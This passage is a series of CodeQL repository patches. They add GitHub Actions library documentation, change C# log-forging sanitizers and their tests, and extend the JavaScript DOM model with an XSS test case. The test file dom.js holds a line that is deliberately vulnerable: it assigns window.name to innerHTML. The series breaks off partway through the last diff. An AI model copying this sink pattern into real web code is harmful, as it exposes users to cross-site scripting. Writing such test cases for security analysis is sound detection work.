a1ceaa0aa32f0452a2eb6e36a1c0dfa6c19735a6 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Tue, 1 Apr 2025 19:02:46 -0700 Subject: [PATCH 224/282] Docs: Add initial library docs for Actions Create the basic structure, state the key importable libraries. Describe a workflow. State the extensible predicates available. Other elements are to be filled in later. --- .../codeql-library-for-actions.rst | 139 ++++++++++++++++++ ...customizing-library-models-for-actions.rst | 46 ++++++ 2 files changed, 185 insertions(+) create mode 100644 docs/codeql/codeql-language-guides/codeql-library-for-actions.rst create mode 100644 docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst new file mode 100644 index 00000000000..3d31d5e1d23 --- /dev/null +++ b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst @@ -0,0 +1,139 @@ +.. _codeql-library-for-actions: + +CodeQL library for GitHub Actions +======================= + +When you're analyzing GitHub Actions workflows and action metadata files, you can make use of the large collection of classes in the CodeQL library for GitHub Actions. + +Overview +-------- + +CodeQL ships with an extensive library for analyzing GitHub Actions code, particularly GitHub Actions workflow files and Action metadata files, each written in YAML. +The classes in this library present the data from a CodeQL database in an object-oriented form and provide abstractions and predicates +to help you with common analysis tasks. + +The library is implemented as a set of CodeQL modules, that is, files with the extension ``.qll``. The +module `actions.qll `__ imports most other standard library modules, so you can include the complete +library by beginning your query with: + +.. code-block:: ql + + import actions + +The CodeQL libraries model various aspects of the YAML code used to define workflows and actions. +The above import includes the abstract syntax tree (AST) library, which is used for locating program elements, to match syntactic +elements in the YAML source code. This can be used to find values, patterns and structures. +Both the underlying YAML elements and the GitHub Actions-specific meaning of those elements are modeled. + +See the GitHub Actions documentation on `workflow syntax `__ and `metadata syntax `__ for more information on GitHub Actions YAML syntax and meaning. + +The control flow graph (CFG) is imported using + +.. code-block:: ql + + import codeql.actions.Cfg + +The CFG models the control flow between statements and expressions, for example whether one expression can +be evaluated before another expression, or whether an expression "dominates" another one, meaning that all paths to an +expression must flow through another expression first. + +The data flow library is imported using + +.. code-block:: ql + + import codeql.actions.DataFlow + +Data flow tracks the flow of data through the program, including through function calls (interprocedural data flow) and between steps in a job or workflow. +Data flow is particularly useful for security queries, where untrusted data flows to vulnerable parts of the program +to exploit it. Related to data flow, is the taint-tracking library, which finds how data can *influence* other values +in a program, even when it is not copied exactly. + +To summarize, the main GitHub Actions library modules are: + +.. list-table:: Main GitHub Actions library modules + :header-rows: 1 + + * - Import + - Description + * - ``actions`` + - The standard GitHub Actions library + * - ``codeql.actions.Ast`` + - The abstract syntax tree library (also imported by `actions.qll`) + * - ``codeql.actions.Cfg`` + - The control flow graph library + * - ``codeql.actions.DataFlow`` + - The data flow library + * - ``codeql.actions.TaintTracking`` + - The taint tracking library + +The CodeQL examples in this article are only excerpts and are not meant to represent complete queries. + +Abstract syntax +--------------- + +The abstract syntax tree (AST) represents the elements of the source code organized into a tree. The `AST viewer `__ +in Visual Studio Code shows the AST nodes, including the relevant CodeQL classes and predicates. + +All CodeQL AST classes inherit from the `AstNode` class, which provides the following member predicates +to all AST classes: + +.. list-table:: Main predicates in ``AstNode`` + :header-rows: 1 + + * - Predicate + - Description + * - ``getEnclosingWorkflow()`` + - Gets the enclosing Actions workflow, if any. Applies only to elements within a workflow. + * - ``getEnclosingJob()`` + - Gets the enclosing Actions workflow job, if any. Applies only to elements within a workflow. + * - ``getEnclosingStep()`` + - Gets the enclosing Actions workflow job step, if any. + * - ``getEnclosingCompositeAction()`` + - Gets the enclosing composite action, if any. Applies only to elements within an action metadata file. + * - ``getLocation()`` + - Gets the location of this node. + * - ``getAChildNode()`` + - Gets a child node of this node. + * - ``getParentNode()`` + - Gets the parent of this `AstNode`, if this node is not a root node. + * - ``getATriggerEvent()`` + - Gets an Actions trigger event that can start the enclosing Actions workflow, if any. + + +Workflows +~~~~~~~ + +A workflow is a configurable automated process made up of one or more jobs, +defined in a workflow YAML file in the `.github/workflows` directory of a GitHub repository. + +In the CodeQL AST library, a `Workflow` is an `AstNode` representing the mapping at the top level of an Actions YAML workflow file. + +See the GitHub Actions documentation on `workflows `__ and `workflow syntax `__ for more information. + +.. list-table:: Callable classes + :header-rows: 1 + + * - CodeQL class + - Description and selected predicates + * - ``Workflow`` + - An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file. See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions. + + On getOn() { result = super.getOn() } + + - `getAJob()` - Gets a job within the `jobs` mapping of this workflow. + - `getEnv()` - Gets an `env` mapping within this workflow declaring workflow-level environment variables, if any. + - `getJob(string jobId)` - Gets a job within the `jobs` mapping of this workflow with the given job ID. + - `getOn()` - Gets the `on` mapping defining the events that trigger this workflow. + - `getPermissions()` - Gets a `permissions` mapping within this workflow declaring workflow-level token permissions, if any. + - `getStrategy()` - Gets a `strategy` mapping for the jobs in this workflow, if any. + - `getName()` - Gets the name of this workflow, if defined within the workflow. + +The following example lists all jobs in a workflow with the name declaration `name: test`: + +.. code-block:: ql + + import actions + + from Workflow w + where w.getName() = "test" + select w, m.getAJob() diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst new file mode 100644 index 00000000000..40bee7079b5 --- /dev/null +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst @@ -0,0 +1,46 @@ +.. _customizing-library-models-for-actions: + +Customizing Library Models for GitHub Actions +========================================= + +.. include:: ../reusables/beta-note-customizing-library-models.rst + +GitHub Actions analysis can be customized by adding library models in data extension files. + +A data extension for GitHub Actions is a YAML file of the form: + +.. code-block:: yaml + + extensions: + - addsTo: + pack: codeql/actions-all + extensible: + data: + - + - + - ... + +The CodeQL library for GitHub Actions exposes the following extensible predicates: + +Customizing data flow and taint tracking: + +- **actionsSourceModel**\(action, version, output, kind, provenance) +- **actionsSinkModel**\(action, version, input, kind, provenance) +- **actionsSummaryModel**\(action, version, input, output, kind, provenance) + +Customizing Actions-specific analysis: + +- **argumentInjectionSinksDataModel**\(regexp, command_group, argument_group) +- **contextTriggerDataModel**\(trigger, context_prefix) +- **externallyTriggerableEventsDataModel**\(event) +- **immutableActionsDataModel**\(action) +- **poisonableActionsDataModel**\(action) +- **poisonableCommandsDataModel**\(regexp) +- **poisonableLocalScriptsDataModel**\(regexp, group) +- **repositoryDataModel**\(visibility, default_branch_name) +- **trustedActionsOwnerDataModel**\(owner) +- **untrustedEventPropertiesDataModel**\(property, kind) +- **untrustedGhCommandDataModel**\(cmd_regex, flag) +- **untrustedGitCommandDataModel**\(cmd_regex, flag) +- **vulnerableActionsDataModel**\(action, vulnerable_version, vulnerable_sha, fixed_version) +- **workflowDataModel**\(path, trigger, job, secrets_source, permissions, runner) \ No newline at end of file From 9db5cdf957fda415afafa900fee517e1e2a89489 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Tue, 1 Apr 2025 19:03:59 -0700 Subject: [PATCH 225/282] Docs: Add query help page placeholders for Actions --- docs/codeql/query-help/actions-cwe.md | 8 ++++++++ docs/codeql/query-help/actions.rst | 8 ++++++++ 2 files changed, 16 insertions(+) create mode 100644 docs/codeql/query-help/actions-cwe.md create mode 100644 docs/codeql/query-help/actions.rst diff --git a/docs/codeql/query-help/actions-cwe.md b/docs/codeql/query-help/actions-cwe.md new file mode 100644 index 00000000000..d594e0e76c4 --- /dev/null +++ b/docs/codeql/query-help/actions-cwe.md @@ -0,0 +1,8 @@ +# CWE coverage for GitHub Actions + +An overview of CWE coverage for GitHub Actions in the latest release of CodeQL. + +## Overview + + + diff --git a/docs/codeql/query-help/actions.rst b/docs/codeql/query-help/actions.rst new file mode 100644 index 00000000000..38debf91819 --- /dev/null +++ b/docs/codeql/query-help/actions.rst @@ -0,0 +1,8 @@ +CodeQL query help for GitHub Actions +============================ + +.. include:: ../reusables/query-help-overview.rst + +These queries are published in the CodeQL query pack ``codeql/actions-queries`` (`changelog `__, `source `__). + +.. include:: toc-actions.rst From 3b8c4d970ff293d40e70bd41700cc8915c0e2530 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Tue, 1 Apr 2025 19:07:34 -0700 Subject: [PATCH 226/282] Docs: Remove spurious predicate reference --- .../codeql-language-guides/codeql-library-for-actions.rst | 3 --- 1 file changed, 3 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst index 3d31d5e1d23..52baa1ed51e 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst @@ -117,9 +117,6 @@ See the GitHub Actions documentation on `workflows Date: Wed, 2 Apr 2025 08:43:29 +0200 Subject: [PATCH 227/282] Apply suggestions from code review Co-authored-by: Aditya Sharad <6874315+adityasharad@users.noreply.github.com> --- actions/ql/lib/codeql/actions/config/Config.qll | 4 ++-- actions/ql/lib/codeql/actions/config/ConfigExtensions.qll | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/actions/ql/lib/codeql/actions/config/Config.qll b/actions/ql/lib/codeql/actions/config/Config.qll index e55d36f1bab..e6359c14258 100644 --- a/actions/ql/lib/codeql/actions/config/Config.qll +++ b/actions/ql/lib/codeql/actions/config/Config.qll @@ -158,8 +158,8 @@ predicate untrustedGhCommandDataModel(string cmd_regex, string flag) { /** * MaD models for permissions needed by actions * Fields: - * - action: action name - * - permission: permission name + * - action: action name, e.g. `actions/checkout` + * - permission: permission name, e.g. `contents: read` */ predicate actionsPermissionsDataModel(string action, string permission) { Extensions::actionsPermissionsDataModel(action, permission) diff --git a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll index 906cabbd27d..87a91935940 100644 --- a/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll +++ b/actions/ql/lib/codeql/actions/config/ConfigExtensions.qll @@ -85,5 +85,6 @@ extensible predicate untrustedGhCommandDataModel(string cmd_regex, string flag); * - `permission` is of the form `scope-name: read|write`, for example `contents: read`. * - see https://github.com/actions/checkout?tab=readme-ov-file#recommended-permissions * for an example of recommended permissions. + * - see https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token for documentation of token permissions. */ extensible predicate actionsPermissionsDataModel(string action, string permission); From c18529086af3b0f0c4a1452944a9cf338564a734 Mon Sep 17 00:00:00 2001 From: yoff Date: Wed, 2 Apr 2025 08:50:05 +0200 Subject: [PATCH 228/282] actions: add change note --- .../change-notes/2025-02-04-suggest-actions-permissions.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 actions/ql/src/change-notes/2025-02-04-suggest-actions-permissions.md diff --git a/actions/ql/src/change-notes/2025-02-04-suggest-actions-permissions.md b/actions/ql/src/change-notes/2025-02-04-suggest-actions-permissions.md new file mode 100644 index 00000000000..c775b70274f --- /dev/null +++ b/actions/ql/src/change-notes/2025-02-04-suggest-actions-permissions.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* Alerts produced by the query `actions/missing-workflow-permissions` now include a minimal set of recommended permissions in the alert message, based on well-known actions seen within the workflow file. \ No newline at end of file From 1d81c77fcdc01e30f86bc8dd5209ae88a6b9ad17 Mon Sep 17 00:00:00 2001 From: Ian Roof Date: Thu, 26 Sep 2024 16:56:41 -0400 Subject: [PATCH 229/282] C#: Enhanced LogForgingQuery to treat C# Enums as simple types. --- .../code/csharp/security/Sanitizers.qll | 3 +- .../2024-09-18-csharp-log-forging-enum.md | 4 ++ .../CWE-117/LogForgingSimpleTypes.cs | 46 +++++++++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) create mode 100644 csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md create mode 100644 csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs diff --git a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll index 2a456b14c68..c356014432a 100644 --- a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll +++ b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll @@ -57,7 +57,8 @@ class SimpleTypeSanitizedExpr extends DataFlow::ExprNode { SimpleTypeSanitizedExpr() { exists(Type t | t = this.getType() or t = this.getType().(NullableType).getUnderlyingType() | t instanceof SimpleType or - t instanceof SystemDateTimeStruct + t instanceof SystemDateTimeStruct or + t instanceof Enum ) } } diff --git a/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md b/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md new file mode 100644 index 00000000000..5c0dc208ac8 --- /dev/null +++ b/csharp/ql/src/change-notes/2024-09-18-csharp-log-forging-enum.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* Enhanced LogForgingQuery to treat C# Enums as simple types. \ No newline at end of file diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs new file mode 100644 index 00000000000..32c746abc0c --- /dev/null +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs @@ -0,0 +1,46 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Web; +using Microsoft.Extensions.Logging; + +class ILogger +{ + public void Warn(string message) { } +} + +enum TestEnum +{ + TestEnumValue +} + +public class LogForgingSimpleTypes +{ + public void Execute(HttpContext ctx) + { + // GOOD: int + logger.Warn("Logging simple type (int):" 1); + + // GOOD: long + logger.Warn("Logging simple type (int):" 1L); + + // GOOD: float + logger.Warn("Logging simple type (float):" 1.1); + + // GOOD: double + logger.Warn("Logging simple type (double):" 1.1d); + + // GOOD: decimal + logger.Warn("Logging simple type (double):" 1.1m); + + // GOOD: Enum + logger.Warn("Logging simple type (Enum):" TestEnum.TestEnumVAlue); + + // GOOD: DateTime + logger.Warn("Logging simple type (int):" new DateTime()); + + // GOOD: DateTimeOffset + logger.Warn("Logging simple type (int):" DateTimeOffset.UtcNow); + } +} From 48db2b9315f4eb2ab29f711881f52bfbbe4847ea Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 2 Apr 2025 10:12:16 +0200 Subject: [PATCH 230/282] JS: Add test --- .../ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js new file mode 100644 index 00000000000..51adf27b6d3 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js @@ -0,0 +1,5 @@ +function t1() { + const elm = document.getElementById("foo"); + const e2 = elm.getElementsByTagName("bar")[0]; + e2.innerHTML = window.name; // $ MISSING: Alert +} From 46f88e7ce765db957f20a7396dca18797e094747 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 2 Apr 2025 09:50:09 +0200 Subject: [PATCH 231/282] JS: Updates to DOM model --- javascript/ql/lib/semmle/javascript/DOM.qll | 6 ++++-- .../query-tests/Security/CWE-079/DomBasedXss/Xss.expected | 2 ++ .../CWE-079/DomBasedXss/XssWithAdditionalSources.expected | 1 + .../ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js | 2 +- 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/DOM.qll b/javascript/ql/lib/semmle/javascript/DOM.qll index 50a529b4a53..21854c1a9d0 100644 --- a/javascript/ql/lib/semmle/javascript/DOM.qll +++ b/javascript/ql/lib/semmle/javascript/DOM.qll @@ -247,7 +247,7 @@ module DOM { ] | ( - result = documentRef().getAMethodCall(collectionName) or + result = domValueRef().getAMethodCall(collectionName) or result = DataFlow::globalVarRef(collectionName).getACall() ) ) @@ -441,10 +441,12 @@ module DOM { DataFlow::SourceNode domValueRef() { result = domValueRef(DataFlow::TypeTracker::end()) or - result.hasUnderlyingType("Element") + result.hasUnderlyingType(["Element", "HTMLCollection", "HTMLCollectionOf"]) or result.hasUnderlyingType(any(string s | s.matches("HTML%Element"))) or + result = documentRef() + or exists(DataFlow::ClassNode cls | cls.getASuperClassNode().getALocalSource() = DataFlow::globalVarRef(any(string s | s.matches("HTML%Element"))) and diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 7de1561f79e..6ba8ab703bf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -53,6 +53,7 @@ | dates.js:57:31:57:101 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:57:31:57:101 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value | | dates.js:59:31:59:87 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:59:31:59:87 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value | | dates.js:61:31:61:88 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:61:31:61:88 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value | +| dom.js:4:20:4:30 | window.name | dom.js:4:20:4:30 | window.name | dom.js:4:20:4:30 | window.name | Cross-site scripting vulnerability due to $@. | dom.js:4:20:4:30 | window.name | user-provided value | | dragAndDrop.ts:15:25:15:28 | html | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | user-provided value | | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | user-provided value | | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | user-provided value | @@ -937,6 +938,7 @@ nodes | dates.js:61:31:61:88 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` | | dates.js:61:42:61:86 | dayjs.s ... (taint) | semmle.label | dayjs.s ... (taint) | | dates.js:61:81:61:85 | taint | semmle.label | taint | +| dom.js:4:20:4:30 | window.name | semmle.label | window.name | | dragAndDrop.ts:8:11:8:50 | html | semmle.label | html | | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | semmle.label | dataTra ... /html') | | dragAndDrop.ts:15:25:15:28 | html | semmle.label | html | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index eb961fc83db..7780ae82dc4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -138,6 +138,7 @@ nodes | dates.js:61:31:61:88 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` | | dates.js:61:42:61:86 | dayjs.s ... (taint) | semmle.label | dayjs.s ... (taint) | | dates.js:61:81:61:85 | taint | semmle.label | taint | +| dom.js:4:20:4:30 | window.name | semmle.label | window.name | | dragAndDrop.ts:8:11:8:50 | html | semmle.label | html | | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | semmle.label | dataTra ... /html') | | dragAndDrop.ts:15:25:15:28 | html | semmle.label | html | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js index 51adf27b6d3..cf4f0bb3fbe 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dom.js @@ -1,5 +1,5 @@ function t1() { const elm = document.getElementById("foo"); const e2 = elm.getElementsByTagName("bar")[0]; - e2.innerHTML = window.name; // $ MISSING: Alert + e2.innerHTML = window.name; // $ Alert } From 78b25388ca8dcf3013b357b343ec6d365f45575f Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 2 Apr 2025 09:51:24 +0200 Subject: [PATCH 232/282] JS: Protect against bad join in BadRandomness This code resulted in bad join orders in response to certain library changes. The actual library changes have to be split into smaller pieces but I'd like to ensure I don't run into the bad join again. --- .../ql/src/Security/CWE-327/BadRandomness.ql | 32 ++++++++----------- 1 file changed, 14 insertions(+), 18 deletions(-) diff --git a/javascript/ql/src/Security/CWE-327/BadRandomness.ql b/javascript/ql/src/Security/CWE-327/BadRandomness.ql index dd6de6cc1c0..5de0f9b3dfd 100644 --- a/javascript/ql/src/Security/CWE-327/BadRandomness.ql +++ b/javascript/ql/src/Security/CWE-327/BadRandomness.ql @@ -30,30 +30,26 @@ private int powerOfTwo() { * Gets a node that has value 2^n for some n. */ private DataFlow::Node isPowerOfTwo() { - exists(DataFlow::Node prev | - prev.getIntValue() = powerOfTwo() - or - // Getting around the 32 bit ints in QL. These are some hex values of the form 0x10000000 - prev.asExpr().(NumberLiteral).getValue() = - ["281474976710656", "17592186044416", "1099511627776", "68719476736", "4294967296"] - | - result = prev.getASuccessor*() - ) + result.getIntValue() = powerOfTwo() + or + // Getting around the 32 bit ints in QL. These are some hex values of the form 0x10000000 + result.asExpr().(NumberLiteral).getValue() = + ["281474976710656", "17592186044416", "1099511627776", "68719476736", "4294967296"] + or + result = isPowerOfTwo().getASuccessor() } /** * Gets a node that has value (2^n)-1 for some n. */ private DataFlow::Node isPowerOfTwoMinusOne() { - exists(DataFlow::Node prev | - prev.getIntValue() = powerOfTwo() - 1 - or - // Getting around the 32 bit ints in QL. These are some hex values of the form 0xfffffff - prev.asExpr().(NumberLiteral).getValue() = - ["281474976710655", "17592186044415", "1099511627775", "68719476735", "4294967295"] - | - result = prev.getASuccessor*() - ) + result.getIntValue() = powerOfTwo() - 1 + or + // Getting around the 32 bit ints in QL. These are some hex values of the form 0xfffffff + result.asExpr().(NumberLiteral).getValue() = + ["281474976710655", "17592186044415", "1099511627775", "68719476735", "4294967295"] + or + result = isPowerOfTwoMinusOne().getASuccessor() } /** From 77e4d9e6920b01fb51d47177f0a061df17aa4d49 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Wed, 2 Apr 2025 10:03:49 +0100 Subject: [PATCH 233/282] Fix stray references to the javax package name Co-authored-by: Jami <57204504+jcogs33@users.noreply.github.com> --- .../ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll index 1cb9af2e0d9..b38cba889e0 100644 --- a/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll +++ b/java/ql/lib/semmle/code/java/frameworks/javaee/Persistence.qll @@ -713,7 +713,7 @@ class VersionAnnotation extends Annotation { VersionAnnotation() { this.getType().hasQualifiedName(getAPersistencePackageName(), "Version") } } -/** The interface `javax.persistence.EntityManager`. */ +/** The interface `{javax,jakarta}.persistence.EntityManager`. */ class TypeEntityManager extends Interface { TypeEntityManager() { this.hasQualifiedName(getAPersistencePackageName(), "EntityManager") } @@ -736,7 +736,7 @@ class TypeEntityManager extends Interface { } } -/** The interface `javax.persistence.Query`, which represents queries in the Java Persistence Query Language. */ +/** The interface `{javax,jakarta}.persistence.Query`, which represents queries in the Java Persistence Query Language. */ class TypeQuery extends Interface { TypeQuery() { this.hasQualifiedName(getAPersistencePackageName(), "Query") } From 024712c073a8351965faea00175a8e0d9345711e Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 09:48:32 +0200 Subject: [PATCH 234/282] C#: Temporarily comment out considering Enums as having a sanitizing effect. --- csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll index c356014432a..08874cb533e 100644 --- a/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll +++ b/csharp/ql/lib/semmle/code/csharp/security/Sanitizers.qll @@ -57,8 +57,8 @@ class SimpleTypeSanitizedExpr extends DataFlow::ExprNode { SimpleTypeSanitizedExpr() { exists(Type t | t = this.getType() or t = this.getType().(NullableType).getUnderlyingType() | t instanceof SimpleType or - t instanceof SystemDateTimeStruct or - t instanceof Enum + t instanceof SystemDateTimeStruct + // or t instanceof Enum ) } } From 60e3b4351a41890b65395684c575a98f1adabcd8 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 10:16:52 +0200 Subject: [PATCH 235/282] C#: Fix simple types testcases. --- .../CWE-117/LogForgingAsp.cs | 54 +++++++++++++++++++ .../CWE-117/LogForgingSimpleTypes.cs | 46 ---------------- 2 files changed, 54 insertions(+), 46 deletions(-) delete mode 100644 csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs index a3293344b33..1bbef682496 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingAsp.cs @@ -3,6 +3,11 @@ using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Http.Headers; using Microsoft.AspNetCore.Mvc; +public enum TestEnum +{ + TestEnumValue +} + public class AspController : ControllerBase { public void Action1(string username) @@ -38,4 +43,53 @@ public class AspController : ControllerBase logger.Warn($"Warning about the bool: {b}"); } } + + public void ActionInt(int i) + { + var logger = new ILogger(); + // GOOD: int is a sanitizer. + logger.Warn($"Warning about the int: {i}"); + } + + public void ActionLong(long l) + { + var logger = new ILogger(); + // GOOD: long is a sanitizer. + logger.Warn($"Warning about the long: {l}"); + } + + public void ActionFloat(float f) + { + var logger = new ILogger(); + // GOOD: float is a sanitizer. + logger.Warn($"Warning about the float: {f}"); + } + + public void ActionDouble(double d) + { + var logger = new ILogger(); + // GOOD: double is a sanitizer. + logger.Warn($"Warning about the double: {d}"); + } + + public void ActionDecimal(decimal d) + { + var logger = new ILogger(); + // GOOD: decimal is a sanitizer. + logger.Warn($"Warning about the decimal: {d}"); + } + + public void ActionEnum(TestEnum e) + { + var logger = new ILogger(); + // GOOD: Enum is a sanitizer. [FALSE POSITIVE] + logger.Warn($"Warning about the enum: {e}"); + } + + public void ActionDateTime(DateTimeOffset dt) + { + var logger = new ILogger(); + // GOOD: DateTimeOffset is a sanitizer. [FALSEPOSITIVE] + logger.Warn($"Warning about the DateTimeOffset: {dt}"); + } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs deleted file mode 100644 index 32c746abc0c..00000000000 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForgingSimpleTypes.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Web; -using Microsoft.Extensions.Logging; - -class ILogger -{ - public void Warn(string message) { } -} - -enum TestEnum -{ - TestEnumValue -} - -public class LogForgingSimpleTypes -{ - public void Execute(HttpContext ctx) - { - // GOOD: int - logger.Warn("Logging simple type (int):" 1); - - // GOOD: long - logger.Warn("Logging simple type (int):" 1L); - - // GOOD: float - logger.Warn("Logging simple type (float):" 1.1); - - // GOOD: double - logger.Warn("Logging simple type (double):" 1.1d); - - // GOOD: decimal - logger.Warn("Logging simple type (double):" 1.1m); - - // GOOD: Enum - logger.Warn("Logging simple type (Enum):" TestEnum.TestEnumVAlue); - - // GOOD: DateTime - logger.Warn("Logging simple type (int):" new DateTime()); - - // GOOD: DateTimeOffset - logger.Warn("Logging simple type (int):" DateTimeOffset.UtcNow); - } -} From 08159896f385d2e24eb422c69b49bde911822d79 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 2 Apr 2025 10:33:08 +0200 Subject: [PATCH 236/282] C#: Convert cs/log-forging tests to inline expectations. --- .../Security Features/CWE-117/LogForging.cs | 8 +++---- .../CWE-117/LogForging.expected | 21 +++++++++++++++---- .../CWE-117/LogForging.qlref | 4 +++- .../CWE-117/LogForgingAsp.cs | 6 +++--- 4 files changed, 27 insertions(+), 12 deletions(-) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.cs b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.cs index 691d98f986e..18169e4a4b0 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-117/LogForging.cs @@ -15,10 +15,10 @@ 